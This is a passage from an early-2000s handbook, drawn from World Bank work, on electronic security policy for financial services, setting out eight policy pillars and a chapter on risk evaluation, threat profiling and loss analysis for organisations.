[44] This Chapter is drawn from a report produced by Thomas Glaessner, Tom Kellermann, and Valerie McNevin for The World Bank (2002) entitled: "Electronic Security: Risk Mitigation in Financial Transactions." See link at: http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Publications

[45] See a number of works by Glaessner, Kellermann, and McNevin including "Electronic Safety and Soundness: Securing Finance in a Digital Age, Public Policy Issues (October 2003). This Monograph is the culmination of efforts over the past three years and builds upon a series of papers. These include: "Electronic Security: Risk Mitigation in Financial Transactions" (May 2002, June 2002, July 2002), "Electronic Finance: A New Approach to Financial Sector Development?" (2002), and "Mobile Risk Management: E-Finance in the Wireless Environment" (May 2002). All papers are available at: www.worldbank1.org/finance

technological advance opens up new dimensions of depth, scope, and timing. Technology creates the possibility for crimes of great magnitude and complexity to be committed quickly and anonymously. In the past, stealing 50,000 credit card numbers would have taken months, perhaps years, for highly organized criminals. Today one criminal using software tools freely available on the Web can hack into a database and steal that number of identities in seconds.

Recent surveys suggest that in the United States, 57% of all hack attacks were initiated in the financial sector last year. Many breaches such as one incurred by the U.S. Treasury result from a failure to implement appropriate risk-management processes or from the use of off-the-shelf commercial software without a layered approach to security, involving personnel policies, communications guidelines, and regular updating of the technical means deployed, such as virus scanners and firewalls. The results of well-publicized security breaches range from financial and reputation loss to a potential backlash against electronic transactions stemming from mass consumer distrust of the e-finance and e-commerce media.

The network-mediated economy presents unparalleled opportunities for both the creation of wealth and the theft or destruction of it. In assessing its promises and weighing these against potential pitfalls, policy and decision makers should educate themselves about the role that e-security plays in ensuring safe and reliable business transactions via the Internet.

The electronic security industry is growing and globalizing; it will present public policy challenges in the areas of competition policy, potential conflicts of interest, and certification.

E-security companies and vendors generally fall into three categories: access, use, and assessment. Today's industry includes companies that provide active content monitoring and data filtering, develop intrusion detection services, place firewalls, conduct penetration tests to expose hardware or software vulnerabilities, offer encryption software or services, and create authentication software or services that use passwords, tokens, keys, and biometrics to verify the identity of the parties or the integrity of the data.

In addition to e-security, many vendors supply a multitude of interlinking services to the e-finance providers in various countries. These services include hosting companies, Internet Service Providers (ISPs), and providers of financial services. Telecommunication companies in emerging markets are often the key providers of cellular, satellite, and microwave services as well. Such companies may also supply hosting services and de facto money transmission services. In some cases, they may also provide certain electronic security services.

The cross-linking ownership of the e-security and e-finance industries raises complex questions of competition policy and potential conflicts of interest. In the case of competition policy, do the multiple roles played by telecom companies act to inhibit competition, particularly in emerging markets where the technical expertise to provide such services often resides in these companies? What about assuring the integrity of the services provided and company policies on reporting security breaches promptly and accurately? Moreover, outsourcing trends in this industry highlight the importance of reviewing the extent of downstream liability involved with this complex set of vendors. Typically, contracts between financial entities and their providers use service-level percentages as a performance guarantee on a sliding-cost scale, but they do not build in sufficient remedies to address product performance from a security perspective.

The public interest case for regulation of electronic security within the financial services industry must be recognized. Important trade-offs exist between electronic security and such areas as costs, quality of service, technological innovation, and privacy. Formulation of regulation and policy needs to take explicit account of these trade-offs.

Traditionally, the telecommunications industry has been regulated as being essential to public health, interest, and welfare. Hence, a core component of its regulatory model was to expand service to give everyone access. In many countries, access to basic service is now considered a necessity of modern life. Historically, the financial services industry has been regulated by the premise that trust and confidence are paramount to the orderly movement of trade, goods, and money.

And, given that a special trust is conferred on financial entities, they must conduct their business in a safe, sound, and prudent manner. Convergence of the telecommunications industry and the financial services sector through the Internet heightens the importance of and the necessity for sound public policy and informed regulation to ensure that government, business, and people continue to have access to secure financial services.

Efforts to develop public policy to improve or establish electronic security measures should take into consideration the following eight important pillars:

(i) An adequate legal and enforcement framework;
(ii) Technical and managerial arrangements to ensure electronic security of payment systems;
(iii) Robust supervision and prevention, to creates better incentives to implement appropriate layered risk-management systems, including electronic security for financial services providers;
(iv) A framework within which private insurance companies can insure against and monitor e-risk, thereby helping to improve standards in this area via the underwriting covenants they require;
(v) Digital signatures;
(vi) Information sharing;
(vii) Education of citizens, employees, and management on security issues; and
(viii) A layered security structure.

Pillar I: Legal Framework and Enforcement

Countries adopting electronic banking or electronic delivery of other financial services (e.g., distribution and trading of securities) must consider electronic security concerns as they develop their laws, policies and practices. They must promote the use of security to protect back-end and front-end electronic operations and should reform their criminal laws to address cyber crime.

In the policy design process, an e-finance legal framework should take the following areas into accounts:

· Electronic transactions and electronic commerce
· Payment systems security
· Privacy
· Cyber crime
· Anti-money laundering
· Enforcement infrastructure

Together, these six areas of policy, law and enforcement should address the ***basic relationships*** among all participants and the ***transactional activity*** that flows through the payments system. A cornerstone of an e-finance legal framework is to recognize the legal validity of consumer electronic signatures, transactions, or records. The legal framework should prefer technology-neutral solutions, provide basic consumer protections for electronically based transactional activity, promote interoperability, and address evidentiary issues.

Electronic Transactions

Electronic transactions law should define what is meant by an electronic signature, record, or transaction, recognizing the legal validity of each element. The policy should be especially careful in defining an electronic signature. Definitions should be technology-neutral to the greatest degree possible, in order to allow various technical solutions to enter the marketplace.

Payment Systems Security

Development of policy for payment systems security should consider all entities that directly affect the system. All such entities should operate in a secure manner so as to protect the integrity and reliability of the system. Further, policy could require timely and accurate reporting on all electronic -related money losses or suspected losses and intrusions. And finally, policies could require that the financial institution and related providers have sufficient risk protection.

Privacy

Privacy law should encompass data protection and use, consumer protection and business requirements, and notices about an entity's policy on information use. The European Union (EU) continues to be the leader in providing privacy protection to its citizens with the 1995 EU Directive on Data Protection. At a minimum, the privacy law should embrace the fair information practice principles, including notice, choice, access, minimum information necessary to complete the transaction.

Cyber Crime[46]

Every nation should have in place laws addressing abuses of a computer or network that result in loss or destruction to the computer or network, as well as associated losses. The law should also provide the tools and resources needed to investigate, prosecute, and punish perpetrators of cyber crimes. An example of such laws and directives may be seen in the Council of Europe's Convention on Cybercrime, discussed at length in Part 4 of this Handbook.

Anti–Money Laundering

These statutes should define money laundering and encourage international cooperation in the investigation, prosecution, and punishment of such crimes, giving special attention to money laundering threats inherent in new or developing technologies.

Enforcement

Perhaps as important as the legal framework will be the need to enforce the provisions of e-security laws within and across national boundaries. Many different types of computer intrusions originate through activities conducted in countries with weak legal and enforcement regimes for electronic security, making international cooperation essential.

Pillar II: Electronic Security of Payment Systems

Payment systems are a critical component of any financial system. Policies to mitigate risk to payment systems should address the following five problems:

1. The definition of money transmitters.
2. Reporting requirements.
3. Regulation.
4. Warranties, indemnification, and liabilities.
5. Security requirements for service providers.

Definition of a Money Transmitter

A money transmitter is any commercial enterprise engaged in the transfer and exchange of monetary instruments and currency. Often these non-depository entities are involved in the "money service business" and serve as third-party automated clearinghouse providers.[47] In considering the security of the electronic payment system, regulators should recognize that a new paradigm for money movement has evolved in a sophisticated IT environment. The significant amount of money that flows *around* banks instead of through them has a significant impact on the global payment system, monetary policy, and economic forecasting.

Reporting Requirements

The failure to report security incidents, particularly in the financial services area, enables further engagement in unsafe and unsound activities and further losses to those who use such payment systems without check or prevention. One approach is to place an affirmative duty on executives[48] to report incidents.

Regulatory Initiatives

Regulators should consider how broadly to extend supervision and enforcement over transmission vehicles. The primary reason cited by most people for refusing to use electronic transmission vehicles is fear that the information is not adequately protected. Proper protection could strengthen consumer confidence and market discipline, paving the way for greater use of electronic financial systems.

Indemnifications and Warranties

Financial institutions could require warranties and indemnifications from businesses that create software and hardware or supply it to financial services providers. They also could require the companies that provide these products to be liable if losses occur as a result of software or hardware "holes." Entities providing services or products to the financial services industry could, perhaps, be held to a higher standard of care or

[46] The Council of Europe, Convention on Cybercrime, "http://conventions.coe.int"
[47] These services may include money order issuance, wire transfers, currency exchange, and so on.
[48] Particularly Chief Information Officers and Information Security Officers.

required to explain up front that its product is not configured or otherwise appropriate for use in this sector. A variation on this solution is to require a disclaimer on hardware or software stating that it should not be used to create, move, or store confidential, privileged, or sensitive information and that if it is used for those purposes the manufacturer cannot be held liable.

Standards for Service Providers

Service providers to the financial services industry also could be held to a higher standard than those not interacting directly with that industry. Again, this effort would go a long way toward building trust and confidence.

Pillar III: Supervision and Prevention Challenges

In addition to monitoring the payments system and supervising money transmitters, there would be a benefit to revisiting the regulatory, supervisory, and preventive approaches to ensuring security for financial services providers. This is particularly true for businesses that engage in electronic banking or provide other online financial services.

Capital Requirements

The new Basel guidelines for capital, especially those dealing with operational risk, do not address the problem of measuring either the risk to reputation or the strategic risk associated with electronic security breaches. Hence, there is a question of how best to measure a bank's operational risks when the information about computer security incidents is not accurate and when defining reputation damage is difficult. Given the problems involved in measuring capital adequacy in cases of electronic security risk, one effective approach might be to use the examination process to identify and remedy electronic security breaches in coordination with better incentives for reporting such incidents.[49] In addition, authorities could encourage or even require financial services providers to insure against some aspects of e-risks (e.g., denial of service, identity theft) that are not taken into account within the existing capital adequacy framework. As the private insurance industry becomes more active in this field, this approach may be feasible, subject to the overall soundness and health of the insurance industry and its structure in emerging markets.[50]

Downstream Liability

The legal or regulatory framework could create incentives for hosting companies, application service providers, and software, hardware, and e-security providers to be accountable to the financial services industry.

Supervision and Examination Processes

The Basel Committee on Banking Supervision's Electronic Banking Group (EBG) was formed to make recommendations for needed additions, changes, or improvements in supervision and examination to accommodate the new technologies. In 2001 the EBG released Risk Management Principles for E-Banking, which includes specific principles calling for proper authorization and authentication measures, and internal controls and comprehensive security of e-banking assets and information. The areas of supervision and examination will undergo major reorientations over the next few years. Just as the security industry experienced a paradigm shift with the mass introduction and dependence on PCs and the Internet, so must bank supervision realize that the center of gravity in the financial services industry is changing.

Coordination of agencies within and across borders

One key issue facing most countries is the need to improve information exchange between regulatory and law enforcement agencies. Many countries have several agencies for gathering critical information, but often the data is not shared by these agencies or with the agencies of other nations (sometimes for legal reasons). The issue of information exchange between agencies in both domestic and international contexts is beyond the scope of this Handbook. However, as governments try to leverage scarce resources in order to regulate and battle

[49] See the discussion of Pillar VI in this executive summary.
[50] In many emerging markets, the insurance industry itself may need to be restructured and be stable; however, crossborder provision of such coverage may be an option.

crime in the electronic environment, information sharing and international cooperation are key issues.

Pillar IV: The Role of Private Insurance as a Complementary Monitoring System

Financial supervisory agencies are still developing regulatory standards. Due to the difficulties inherent in monitoring complex transactions taking place over rapidly changing technological infrastructures, it is important to seek complementary private solutions to monitor risks. The insurance industry already is playing a role in this area despite the defects present in the information that is used to price e-risk coverage. Over the next few years, in the United States market alone, the growth in e-commerce liability insurance and e-risk coverage may total as much as $2.5 billion annually.

Still in its early development, insurance related to e-commerce liability and e-risk has problems in first- and third-party coverage. The pricing of cyber-risk insurance is also in need of further development, but to accomplish this, the insurance industry needs a better base of information on security breaches and associated risks. Current underwriting practices for this form of insurance have paid insufficient attention to the special risks that wireless technologies bring to the delivery of financial services. Insurance providers could require that explicit electronic security standards for wireless technology be identified and used to mitigate these risks before they underwrite e-risk policies.

The global insurance industry can serve as an important force for change in electronic security requirements. First, it can strive to improve the minimum standards for electronic security in the financial services industry. The global insurance industry could advocate the use of enhanced layered electronic security as a business pre-requisite, for example. Second, insurance companies could require that financial services entities use vendors that meet certified, industry-accepted standards to provide electronic security services as a way of mitigating their risks of underwriting coverage. Third, insurance companies could encourage regulators to require that financial services entities provide and improve the quality of data and information on incidents so they can conduct better actuarial analysis on e-risks and return on investment. Finally, the industry could promote solutions that require e-security vendors and other e-enabling companies (hosting, etc.) to engage in risk sharing and to bear appropriate liability for security breaches.

Pillar V: Certification, Standards, and the Roles of the Public and Private Sectors

Both public and private entities should work cooperatively to develop standards and to harmonize certification schemes. Two categories that require particular attention in terms of certification deal with electronic security service providers and transaction elements.

One possible approach in securing e-finance would be for financial regulators to require licensing of vendors that directly affect the payment system. Another approach would be to require the industry to certify vendors that provide electronic security services. Recently the security industry has developed a Security Expert certification. By using a certification approach, the industry benefits by providing consumers with a recognizable structure, accountability between the industry and its experts, and a means of separating the approved expert from the self-proclaimed expert. It also elevates the field of security to a professional status and creates an incentive for the industry to raise and protect standards.

A second area to consider is the certification of transaction elements such as electronic signatures. Certification can add value to a transaction, depending on who or what provides the certification and on the elements that are being certified. Certification may be offered by a governmental entity, such as a post office, or a private entity, such as a bank. Each of these scenarios presents unique structural and governance issues. In many countries private companies (financial services providers or non-financial companies) may be better equipped to provide the information infrastructure required to act as certification agents or to provide cross-certification.

The essential element to a successful certification scheme is that certification structures located in different jurisdictions must provide the same attributes to the transaction consistently and that a certifier's scope of authority and liability must remain uniform across jurisdictional borders.

Although the use of PKI technology and certification authorities is often touted as the only accepted means of ensuring security, it is necessary to consider the costs and the cumbersome structure associated with PKI, as well as the legal inconsistencies associated with certification authorities. The practical element is that the solution be applicable across borders in terms of scope and liability, no matter what technology is used to perform the function.

Pillar VI: Accuracy of Information on E-Security Incidents and Public-Private Sector Cooperation

The lack of accurate information on e-security incidents is the result of the lack of knowledge or motivation to capture the data, measure it, and share it. Electronic security would improve worldwide through the enhancement of national and cross-border arrangements to facilitate sharing by financial services providers of accurate information on denial-of-service intrusions, thefts, attempted fraud, and so on. Failure to share information not only limits awareness but, even more important, it can limit the development of private sector solutions (including insurance). This lack of information may even serve to increase the cost to companies and financial services providers of insuring against such risks.

Greater public-private sector cooperation is needed in this area. For example, BITS' Security and Risk Assessment Steering Committee is addressing security, safety, and soundness in existing and emerging payments, electronic commerce, and related technologies through the establishment of a Financial Services Security Lab. This Lab facilitates information exchange on security issues in the financial services industry. Furthermore, the Internet Security Alliance, the Forum of Incident and Response Security Teams (FIRST, with 56 worldwide offices), and the Computer Emergency Response Teams set up in various countries have shown that cooperation results in greater information sharing among law enforcement and private providers of financial services. A common element in all these programs is a reliance on confidentiality and trust; as a condition of receiving accurate information, the law enforcement and academic entities do not divulge the identity of respondents. In this area, the role of multilateral agencies to facilitate cooperation deserves examination. It is axiomatic that the more "connected" the economy becomes, the more important it is for each element to bear its portion of the burden. Today's financial services industry was founded as an integrated system. The technological changes of the past decade have expanded and heightened the interdependencies of that system.

Pillar VII: Education and Prevention of E-Security Incidents

Statistical analysis reveals that in many countries throughout the world, more than 50% of electronic security intrusions are carried out by insiders. An undereducated workforce is inherently more vulnerable to internal attack. By contrast, a well-educated workforce that is conscious of security issues can effectively add a layer of protection.

Educational initiatives could be targeted at financial services providers (bothsystems administrators and management), at various agencies involved in law enforcement and supervision, and at users of online financial services. Initiatives might include the following:

- improvement of awareness and education of financial sector participants about cyber ethics and appropriate user behavior on networked systems;
- creation of institution-wide e-security policies on appropriate behavior and the corresponding channels for reporting intrusions or incidents in close coordination with any effort to improve worldwide information on intrusions;
- development of awareness in the banking community in emerging markets about the need for "incident response plans" in case an incident transpires;
- facilitation of cooperation and transfer of know-how among law enforcement entities, financial intelligence units (FIUs), and supervisory agencies in developed and emerging markets via such devices as more active exchange programs between personnel;
- design of focused courses for examiners under the auspices of the Financial Stability Institute or other training centers; and
- development of a cross-border university outreach program to promote the training of future e-security professionals, while also improving the education of users of online financial services.

Pillar VIII: Layered Security

Twelve core layers of proper security are a fundamental component for maintaining the integrity of data and mitigating the risks associated with open architecture environments. The twelve-linked chain defines what security should be online. The network is only as secure as its weakest link. Details on the twelve-layers of security are provided at the end of Part 3.

Provisos

Parts 3 and 4 of this Handbook cover a rapidly evolving area using a cross-disciplinary approach, integrating the economy, law, and technology as appropriate. Because of its rapid growth, e-security is often wrapped in myth. Most countries, including those that have greater experience dealing with it, still know little, and emerging markets know even less. The Handbook focuses relatively more attention on lessons learned in the United States because it is considered the birthplace of the Internet and has had a longer time to experience its benefits and pitfalls, as well as to create early standards.[51] Just as important, the Handbook looks at the experiences and efforts of certain advanced economies in Europe, as well as of countries in Asia and South America. Clearly, however, there is much to be said about a) the specific problems of emerging markets in this area, and b) the areas of legislation and institutional arrangements that are required to improve electronic security worldwide. Without such efforts, the great potential offered by adopting electronic finance and commerce can be significantly compromised, because the trust and confidence of market participants will be detrimentally affected. The chapters to follow will offer:

a) methodologies of risk evaluation and loss analysis;
b) practical guidance on developing security policies and procedures that are appropriate for your organization;
c) general and specific advice for managers and employees on best practices in e-security; and
d) a series of checklists, with an array of comments from around the world on the topic of security in business operations, particularly with regard to the financial sector and e-commerce applications.

[51] Historically, the Internet was derived from ARPANET, which was designed in 1969 by the Advanced Research Projects Agency, Department of Defense.

CHAPTER 3.
RISK EVALUATION AND LOSS ANALYSIS

At A Glance

This chapter covers security risk evaluation and loss analysis in a business context. We consider a range of security threats, their potential origin and action, and consider the severity of their effects on our day-to-day operations. We outline the cornerstones of a sound security policy and explain the basic principles of loss analysis, should a real security incident take place.

Technology Development: New Frontiers

All businesses, whether they are large or small, are operating in an increasingly global environment. Advances in communications and transportation networks in the last century have brought customers and markets closer together and it is now possible, at relatively minimal cost, to ship products to buyers in all corners of the world. In this international context, executive and managers must consider the range of threats to their enterprises. Since the late 1990s, there has been an increase in violent attacks all over the world, including the World Trade Center attack in 2001. In response, there has been a heightened awareness of physical security needs – the need to police the space around buildings, to control access to buildings, to design sound policies for evacuation in the event of a disaster, and to develop stronger points of contact with the local and federal authorities.

On the technological front, there is a corresponding need to survey the threats to computing equipment (hardware), the applications and databases that reside on that equipment (software), and the networks that connect groups, both internally and with the outside world. In a business environment, raw data such as customer records or credit card information are valuable to competitors and computer criminals and require special attention. In addition, for more advanced enterprises, intellectual property including scientific research or unique business processes have high value and also require special security measures. As the world becomes an increasingly competitive place, the theft of both raw data and intellectual property assets via computer is on the rise. A combination of preventive maintenance supported in attitude and investment by the executive team, employee training and vigilance, and clear communications throughout the organization will help reduce the threats of physical and cyber-security breaches.

Knowing Ourselves

Although there are common themes and procedures for securing buildings and computer systems, it is important to have a complete picture of what the organization is and what it does in order to develop an appropriate, cost-effective security plan. A company that handles hazardous waste or biological materials will require a different set of policies and procedures than one that produces electronic devices. As the management begins the process of identifying potential security risks, it will be helpful to answer the following five questions:

1. What is the main product or service offered by the organization? If there are multiple answers, try to prioritize the elements of each answer.
2. What are the main sources of revenue and growth for the organization?
3. How is the organization structured: what are the different departments and what are their main functions? How do these units operate, communicate, and fit together as a whole?
4. What information assets are the most critical to each department and what types of technology does the organization use to store and disseminate this information internally and externally (when applicable)?
5. Who are the customers, partners, and vendors for the organization and how do they interact?

The information needed to answer these questions will be found through conversations with employees (especially the IT staff), managers, and executives of the company. It will be useful to evaluate customer and supplier feedback on other issues as this may lead to revelations on security issues. Finally, the team gathering the information should be familiar with media reports about the company. Public perceptions may also be instructive, especially if the company is involved in a controversial industry, is located near a hot spot of

activity, or has appeared in prominent publications on a regular basis.

Knowing the Enemy: Internal and External Threats

Once the company has assessed its structure and functions, it will be in a better position to develop a profile of its potential strengths and weakness in the area of security. Initially, it should focus on general threats present to any organization. Once these threats are understood, an evaluation of the level of internal and external threats posed to its operations will be possible.

General threats to any company or formal organization include:

Physical threats- Disasters (fire, earthquake, major storms, flooding)
Theft
Vandalism
Physical Interference with or Destruction of Networks
Corporate Spying

Software threats- Penetration of Firewalls
Malicious code (Viruses, Trojans, Logic Bombs, Worms)
Unauthorized dissemination or destruction of data
Corporate Spying via Digital Means

Of the threats that are posed by human actions, the company should assess both internal and external perpetrators. In some cases, internal security breaches may stem from human error: simple ignorance, inattention, or inadequate training on the part of employees. In other areas, especially corporate spying, social engineering may be used to gain access to facilities, confidential business data, or knowledgeable individuals within a firm. An appropriate set of policies established by the security department, in conjunction with the personnel department, may help to alleviate such threats; Security and Personnel may also work together on employee hiring and termination procedures.
The motivations behind malicious computer activities are varied and deserve some explanation, though in some cases, a clear motive is very hard to define. It is tempting, though misleading, to stereotype the types of people who hack computers. However, there are some general comments to be made on the severity of the threat and the forms of damage that come from each paradigm.

Casual, or "summertime" hackers are employees of an organization with some familiarity with network protocols. They are typically not intent on damaging data or company property, they are merely curious and tempted by the challenge of attempting to access resources that they are not authorized to use. However, they may not fully understand the hacking tools they are using and may damage systems through improper use. Further, if they have downloaded tools from the Internet, they may be downloaded program that contain backdoors and Trojan horses for other attackers to use. This is a serious threat and is one reason why casual hacking should be forbidden in an enterprise.

Script kiddies are generally younger hackers (high school or college age) with reasonably good computer skills and too much time on their hands. On the whole, they are not focused on doing serious damage in the way that a targeting criminal is, but they are numerous and sometimes work in teams, posing a greater threat than they might as individuals. One of the tricky issues with script kiddies is that a successful hack, well publicized, will be a claim to fame; they are lured by the potential notoriety conferred by high profile intrusions and pranks. Due to the prevalence of this threat, security software makers have developed fairly effective tools against this form of hacking; firewalls and Intrusion Detection Systems (IDSs) are optimized for defending against young attackers.

Targeting criminals are focused, often skillful attackers with clear intent to steal information, corrupt, or destroy data and render systems useless for extended periods of time. Unlike casual hackers and script kiddies, targeting criminals generally have an incentive to hack systems. In some cases, they are looking for valuable information such as financial data (credit cards numbers, bank account details) or personal data that may be manipulated or exploited in some way (identification numbers, academic records, customer files). This type of attacker is often well organized and will perform several intrusions to gather information prior to an

actual attack. Fortunately the targeting criminal is less prevalent than other types of attackers. However, he or she is more difficult to contain and is more likely to do serious damage, once a penetration has occurred.

Employees and consultants may become deliberate or accidental security threats depending on the nature of their relationship with their managers and peers in the workplace. Due to their level of access inside the organization they are a serious concern from a security standpoint. Like the casual hacker, some may work from boredom or the attraction of a technical challenge. Some may be seeking information related to promotions, salaries of colleagues, or business data. Others may be disgruntled employees seeking to inflict pain on the organization by whatever means necessary, and others may be accidental threats, leaving systems unprotected through insufficient technical training or carelessness.

Each of these potential human threats to systems and information security poses a different level of danger and requires a different method of containment. Up-to-date Firewalls and IDSs may be adequate to keep out casual attackers or script kiddies. Vigilant systems administrators and managers will be needed to detect and stop targeting criminal, personnel policies and management attention will help in thwarting potential attackers inside the organization. However, no plan is completely foolproof and it is important for the organization to study its history and trends with regard to security breaches, continued surveillance of the security landscape will make the tasks of detection and prevention easier. In addition, clearly articulated policies on what should happen during and after an attack will help cushion the impact of an intrusion and guide the personnel responsible for attending to the damage and filing the appropriate reports with internal and external authorities when necessary.

Practical Security Assessment: Risk Evaluation and Loss Analysis

As we have seen, security breaches may stem from internal or external attacks and result in unauthorized access to systems and data that may or may not be used for unethical or illegal purposes. The first steps in forming a security policy are taken when the organization conducts a security assessment covering its internal processes, objectives, and current vulnerabilities. Once these elements have been analyzed, a security policy and procedures plan may be developed.

This plan should include information on these key areas:

- Knowing when you are under attack - through the deployment of Intrusion Detection Systems (IDSs) and internal vigilance.
- Preparing for the worst-case scenario – think about spill over effects for each form of security breach.
- Developing a written policy to deal with break-in plan to write up security incidents; a written record will help analyze individual events and assist in preventing successful attacks in the future.
- Hiring an expert if you need one – this may be on an incident-related basis, or a regular consulting arrangement. Beware of hiring self-proclaimed hackers. Security outsourcing will be covered later in this section.[52]
- Providing the necessary training to technical staff and other employees – many security breaches are caused or aided by insufficient knowledge of proper procedures regarding security issues. Everyone in the company should know how to implement security related procedures.
- Designating a point of contact – this person should have expertise in the area of IT security and may answer directly to members of the management team.

[52] This recommendation would be most applicable to medium sized, or large enterprises. It would also apply to companies that are heavily dependent on technology for their operations and/or focused on the high tech market. In the latter case, potential customers may form some opinions about the company based on its technical appearance and smoothness of operation.

- Understanding and prioritizing your goals – these will include some or all of the following:

  - o Protect customer information
  - o Contain the attack
  - o Notify senior management
  - o Document the event
  - o Take a snapshot of the system
  - o Contact a Computer Security Incident Response Team
  - o Identify the intruder
  - o Know who is responsible for what
  - o Know whom you can trust

If an incident does occur, you should reexamine your exiting policies and procedures and tighten them up when logistically and financially possible. As with the organization evaluation, asking a series of questions will help to define the strengths and weakness in a security policy plan. A sample checklist focused on the ability to respond effectively to a break in would include:

Incident procedures, recovery plans, and funding:

- o Do incident response procedures exits?
- o Are procedures understandable and up-to-date?
- o Are disaster recovery plans in place?
- o Has adequate funding been allotted for developing and maintaining incident responses to break-ins?

Procedures, security experts, and management:

- o Do the procedures include instructions for contacting a security expert 24-hours-a-day, 7-days-a-week?
- o If the security expert does not respond, does a procedure exist for escalating the problem to management?
- o Do procedures include notifying the Chief Information Officer (when applicable) immediately when any break-in occurs, and again when the break-in is resolved?
- o Is there a procedure for determining when to contact outside help, and whom to contact?

Procedures and Personnel:

- o Have all key personnel been trained in using the procedures?
- o Have key personnel actually attended all requires training sessions?
- o Have appropriate background check been conducted on key personnel?
- o Are communications between and among the system administration and security groups flowing smoothly?

Procedures and Technical Resources:

- o Are system logs enabled?
- o Are system logs periodically reviewed?
- o Are the tools needed to detect an intrusion installed and operational?
- o Can the detection software installed on your net work detect unknown attacks?
- o Can you detect and prevent attacks on the net work and the host, constituting a layered approach to detection?
- o Are attacks easy to trace back on your network?
- o Do all systems have adequate security controls as proven by formal audit results?

Steps in Risk Evaluation

The first step in improving the security of your system is to answer these basic questions:

- What am I trying to protect and how much is it worth to me?
- What do I need to protect against?
- How much time, effort, and money am I willing to expend to obtain adequate protection?

These questions form the basis of the process known as *risk assessment*. Risk assessment is a very important part of the computer security process. You cannot formulate protections if you do not know what you are protecting and what you are protecting those things against! After you know your risks, you can then plan the policies and techniques that you need to implement to reduce those risks.

For example, if there is a risk of a power failure and if availability of your equipment is important to you, you can reduce this risk by installing an uninterruptible power supply (UPS).

Risk assessments involves three key steps:

1. Identifying assets and their value
2. Identifying threats
3. Calculating risks

There are many ways to go about this process. One method with which we have had great success is a series of in-house workshops. Invite a broad cross-section of knowledgeable users, managers, and executives from throughout your organization. Over the course of a series of meetings, compose your lists of assets and threats. Not only does this process help to build a more complete set of lists, it also helps to increase awareness of security in everyone who attends.

An actuarial approach is more complex than necessary for protecting a home computer system or very small company. Likewise, the procedures that we present here are insufficient for a large company, a government agency, or a major university. In cases such as these, many companies turn to outside consulting firm with expertise in risk assessment, some of which use specialized software to do assessments.

Identifying assets

Draw up a list of items you need to protect. This list should be based on your business plan and common sense. The process may require knowledge of applicable law, a complete understanding of your facilities, and knowledge of your insurance coverage. Items to protect include tangibles (disk drives, monitors, network cables, backup media, manuals) and intangibles (ability to continue processing, your customer list, public image, reputation in your industry, access to your computer, your system's *root* password). The list should include everything that you consider of value. To determine if something is valuable, consider what the loss or damage of the item might be in terms of lost revenue, lost time, or the cost of repair or replacement.

Some of the items that should probably be in your asset list include:

Tangibles:

- Computers
- Proprietary data
- Backups and archives
- Manuals, guides, books
- Printouts
- Commercial software distribution media
- Communications equipment and wiring
- Personnel records
- Audit records

Intangibles:

- Safety and health of personnel
- Privacy of users
- Personnel passwords
- Public image and reputation
- Customer/client goodwill
- Processing availability
- Configuration information

You should take a larger view of these and related items rather than simply considering the computer aspects. If you are concerned about someone reading your internal financial reports, you should be concerned regardless of whether they read them from a discarded printout or snoop on your e-mail.

Identifying threats

The next step is to determine a list of threats to your assets. Some of these threats will be environmental, and include fire, earthquake, explosion, and flood. They should also include very rare but possible events such as building structural failure, or discovery of asbestos in your computer room that requires you to vacate the building for a prolonged time. Other threats come from personnel, and from outsiders. We list some examples here:

- Illness of key people
- Simultaneous illness of many personnel (e.g., flu epidemic)
- Loss (resignation/termination/death) of key personnel
- Loss of phone/network services
- Loss of utilities (phone, water, electricity) for a short time

- Loss of utilities (phone, water, electricity) for a prolonged time
- Lightning strike
- Flood
- Theft of disks or tapes
- Theft of key person's laptop computer
- Theft of key person's home computer
- Introduction of a virus
- Bankruptcy of a key vendor or service provider
- Hardware failure
- Bugs in software
- Subverted employees
- Subverted third-party personnel (e.g., vendor maintenance)
- Labor unrest
- Political terrorism
- Random "attackers" getting into your machines
- Users posting inflammatory or proprietary information on the Web
- Commercial (corporate) spies

Review Your Risks

Risk assessment should not be done only once and then forgotten. Instead, you should update your assessment periodically, at least once a year, and any time there is a major change in personnel, systems, or the operating environment.[53] In addition, the threat assessment portion should be redone whenever you have a significant change in operation or structure. Thus, if you reorganize, move to a new building, switch vendors, or undergo other major changes, you should reassess the threats and potential losses.

Loss Analysis

Determining the cost of losses can be very difficult. A simple cost calculation considers the cost of repairing or replacing a particular item. A more sophisticated cost calculation can consider the cost of having equipment out of service, the cost of added training, the cost of additional procedures resulting from a loss, the cost to a company's reputation, and even the cost to a company's clients. Generally speaking, including more factors in your cost calculation will increase your effort, but will also increase the accuracy of your calculations.

For most purposes, you do not need to assign an exact value to each possible risk. Normally, assigning a cost range to each item is sufficient. Some items may actually fall into the category irreparable or irreplaceable; these could include loss of your entire accounts-due database, or the death of a key employee. You may want to assign these costs based on a finer scale of loss than simply "lost/not lost." For instance, you might want to assign separate costs for each of the following categories:

- Non-availability over a short term (< 7–10 days)
- Non-availability over a medium term (1–2 weeks)
- Non-availability over a long term (more than 2 weeks)
- Permanent loss or destruction
- Accidental partial loss or damage
- Deliberate partial loss or damage
- Unauthorized disclosure within the organization
- Unauthorized disclosure to some outsiders
- Unauthorized full disclosure to outsiders, competitors, and the press
- Replacement or recovery cost

The Probability of a Loss

After you have identified the threats, you need to estimate the likelihood of each occurring. These threats may be easiest to estimate on a year-by-year basis. Quantifying the threat of a risk is hard work. You can obtain some estimates from third parties, such as insurance companies. If the event happens on a regular basis, you can estimate it based on your records. Industry organizations may have collected statistics or published reports. You can also base your estimates on educated guesses extrapolated from past experience. For instance:

- Your power company (and your past experience) can provide an estimate of the likelihood that your building would suffer a power outage during the next year. Officials may also be able to quantify the risk of an outage lasting a few seconds vs. the risk of an outage lasting minutes or hours.

[53] Changes in personnel include many new hires or layoffs, or a layoff of someone involved in your organization's security plan. Changes in systems include installing a number of new systems (the sensitivity of the number depends on the size of your organization; if you have 100 computers and add one securely it does not require a risk assessment. However, if you have ten computers and add another ten, that expansion might merit a fresh look at your organization. Other relevant system changes would include establishing new internal or external networks, upgrading your systems, or altering your computing platform. Changes to the organization include rapid growth, linking to international suppliers or customers, and marketing campaigns that may make you a more visible presence (and a more visible target) in your locality and the world.

- Your personnel records can be used to estimate the probability of key computing employees quitting.
- Past experience and best guess can be used to estimate the probability of a serious bug being discovered in your software during the next year (100% for some software platforms).

If you expect something to happen more than once per year, then record the number of times that you expect it to happen. Thus, you may expect a serious earthquake only once every 100 years (1% in your list), but you may expect three serious bugs in Microsoft's Internet Information Server (IIS) to be discovered during the next month (3600%).

